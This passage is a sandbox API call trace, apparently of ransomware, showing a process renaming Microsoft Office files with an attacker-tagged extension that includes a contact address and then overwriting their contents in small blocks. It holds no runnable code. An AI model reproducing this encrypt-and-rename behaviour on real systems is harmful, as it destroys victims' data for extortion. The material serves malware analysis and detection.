lpMem=0x6a4988 | out: hHeap=0x630000) returned 1 [0236.527] GetProcessHeap () returned 0x630000 [0236.527] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0236.527] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.527] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfcc4 | out: lpFindFileData=0x4fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x52ecf504, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x4fbfd20, dwReserved1=0x6a4988, cFileName="SpreadsheetCompare_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SPREAD~1.FIR")) returned 0x6d51c0 [0236.527] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0236.527] Sleep (dwMilliseconds=0x1) [0236.530] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_col.hxt", len=0x76 | out: pbstr=0x4fbff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_col.hxt") returned 1 [0236.530] GetProcessHeap () returned 0x630000 [0236.530] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f18) returned 0x6fe3bb0 [0236.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_col.hxt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\spreadsheetcompare_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0236.531] CloseHandle (hObject=0x66c) returned 1 [0236.532] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0236.532] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_col.hxt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\spreadsheetcompare_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_col.hxt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\spreadsheetcompare_col.hxt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.534] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.534] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_col.hxt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfc6c | out: lpFindFileData=0x4fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb0c5e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb0c5e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x380039, dwReserved1=0x340032, cFileName="SpreadsheetCompare_col.hxt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SPREAD~3.FIR")) returned 0x6d5340 [0236.535] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0236.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_col.hxt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\spreadsheetcompare_col.hxt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0236.536] GetProcessHeap () returned 0x630000 [0236.536] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x6fa9798 [0236.536] GetProcessHeap () returned 0x630000 [0236.536] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x6fa8f28 [0236.536] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.537] ReadFile (in: hFile=0x66c, lpBuffer=0x6fa9798, nNumberOfBytesToRead=0xc0, lpNumberOfBytesRead=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa9798*, lpNumberOfBytesRead=0x4fbff0c*=0xc0, lpOverlapped=0x0) returned 1 [0236.538] GetProcessHeap () returned 0x630000 [0236.538] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0236.538] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.538] WriteFile (in: hFile=0x66c, lpBuffer=0x6fa8f28*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa8f28*, lpNumberOfBytesWritten=0x4fbff0c*=0xc0, lpOverlapped=0x0) returned 1 [0236.538] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.538] WriteFile (in: hFile=0x66c, lpBuffer=0x6fa8fe7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa8fe7*, lpNumberOfBytesWritten=0x4fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0236.539] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.539] WriteFile (in: hFile=0x66c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0236.539] CloseHandle (hObject=0x66c) returned 1 [0236.539] GetProcessHeap () returned 0x630000 [0236.539] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa8f28 | out: hHeap=0x630000) returned 1 [0236.539] GetProcessHeap () returned 0x630000 [0236.539] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa9798 | out: hHeap=0x630000) returned 1 [0236.539] GetProcessHeap () returned 0x630000 [0236.539] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0236.539] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.539] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_col.hxt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfcc4 | out: lpFindFileData=0x4fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb0c5e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb0c5e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x52ef5e09, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x4fbfd20, dwReserved1=0x6fa9798, cFileName="SpreadsheetCompare_col.hxt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SPREAD~3.FIR")) returned 0x6d4e40 [0236.539] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0236.539] Sleep (dwMilliseconds=0x1) [0236.545] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_k_col.hxk", len=0x75 | out: pbstr=0x4fbff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_k_col.hxk") returned 1 [0236.545] GetProcessHeap () returned 0x630000 [0236.545] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f0c) returned 0x6fe3bb0 [0236.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_k_col.hxk" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\databasecompare_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0236.546] CloseHandle (hObject=0x4d4) returned 1 [0236.546] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0236.546] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_k_col.hxk" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\databasecompare_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\databasecompare_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.549] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.549] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfc6c | out: lpFindFileData=0x4fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb0c5e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb0c5e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb0c5e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x320038, dwReserved1=0x380034, cFileName="DatabaseCompare_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DATABA~1.FIR")) returned 0x6d51c0 [0236.549] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0236.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\databasecompare_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0236.553] GetProcessHeap () returned 0x630000 [0236.553] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a47d8 [0236.553] GetProcessHeap () returned 0x630000 [0236.553] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4e08 [0236.553] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.553] ReadFile (in: hFile=0x4d4, lpBuffer=0x6a47d8, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a47d8*, lpNumberOfBytesRead=0x4fbff0c*=0x60, lpOverlapped=0x0) returned 1 [0236.554] GetProcessHeap () returned 0x630000 [0236.554] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316e60 [0236.554] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.554] WriteFile (in: hFile=0x4d4, lpBuffer=0x6a4e08*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4e08*, lpNumberOfBytesWritten=0x4fbff0c*=0x60, lpOverlapped=0x0) returned 1 [0236.555] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.555] WriteFile (in: hFile=0x4d4, lpBuffer=0x6a4e67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4e67*, lpNumberOfBytesWritten=0x4fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0236.555] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.555] WriteFile (in: hFile=0x4d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0236.555] CloseHandle (hObject=0x4d4) returned 1 [0236.555] GetProcessHeap () returned 0x630000 [0236.555] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4e08 | out: hHeap=0x630000) returned 1 [0236.555] GetProcessHeap () returned 0x630000 [0236.555] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a47d8 | out: hHeap=0x630000) returned 1 [0236.555] GetProcessHeap () returned 0x630000 [0236.555] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316e60 | out: hHeap=0x630000) returned 1 [0236.555] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.555] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfcc4 | out: lpFindFileData=0x4fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb0c5e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb0c5e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x52f1b8a7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x4fbfd20, dwReserved1=0x6a47d8, cFileName="DatabaseCompare_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DATABA~1.FIR")) returned 0x6d51c0 [0236.555] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0236.555] Sleep (dwMilliseconds=0x1) [0236.591] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_f_col.hxk", len=0x75 | out: pbstr=0x4fbff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_f_col.hxk") returned 1 [0236.591] GetProcessHeap () returned 0x630000 [0236.591] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f08) returned 0x6fe3bb0 [0236.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_f_col.hxk" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\databasecompare_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0236.592] CloseHandle (hObject=0x4d4) returned 1 [0236.592] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0236.593] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_f_col.hxk" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\databasecompare_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\databasecompare_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.593] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.594] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfc6c | out: lpFindFileData=0x4fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcae6392, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcae6392, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcae6392, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x320038, dwReserved1=0x380034, cFileName="DatabaseCompare_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DATABA~2.FIR")) returned 0x6d51c0 [0236.594] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0236.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\databasecompare_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0236.594] GetProcessHeap () returned 0x630000 [0236.594] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a54c8 [0236.594] GetProcessHeap () returned 0x630000 [0236.594] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a5318 [0236.594] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.594] ReadFile (in: hFile=0x4d4, lpBuffer=0x6a54c8, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a54c8*, lpNumberOfBytesRead=0x4fbff0c*=0x60, lpOverlapped=0x0) returned 1 [0236.595] GetProcessHeap () returned 0x630000 [0236.595] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0236.595] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.595] WriteFile (in: hFile=0x4d4, lpBuffer=0x6a5318*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a5318*, lpNumberOfBytesWritten=0x4fbff0c*=0x60, lpOverlapped=0x0) returned 1 [0236.596] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.596] WriteFile (in: hFile=0x4d4, lpBuffer=0x6a5377*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a5377*, lpNumberOfBytesWritten=0x4fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0236.596] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.596] WriteFile (in: hFile=0x4d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0236.596] CloseHandle (hObject=0x4d4) returned 1 [0236.596] GetProcessHeap () returned 0x630000 [0236.596] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a5318 | out: hHeap=0x630000) returned 1 [0236.596] GetProcessHeap () returned 0x630000 [0236.596] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a54c8 | out: hHeap=0x630000) returned 1 [0236.596] GetProcessHeap () returned 0x630000 [0236.596] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0236.596] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.596] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfcc4 | out: lpFindFileData=0x4fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcae6392, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcae6392, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x52f8dff6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x4fbfd20, dwReserved1=0x6a54c8, cFileName="DatabaseCompare_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DATABA~2.FIR")) returned 0x6d5580 [0236.597] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0236.597] Sleep (dwMilliseconds=0x1) [0236.644] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_col.hxc", len=0x73 | out: pbstr=0x4fbff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_col.hxc") returned 1 [0236.644] GetProcessHeap () returned 0x630000 [0236.644] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f00) returned 0x6fe3bb0 [0236.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_col.hxc" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\databasecompare_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0236.644] CloseHandle (hObject=0x4f0) returned 1 [0236.644] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0236.645] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_col.hxc" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\databasecompare_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_col.hxc.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\databasecompare_col.hxc.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.650] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.650] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_col.hxc.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfc6c | out: 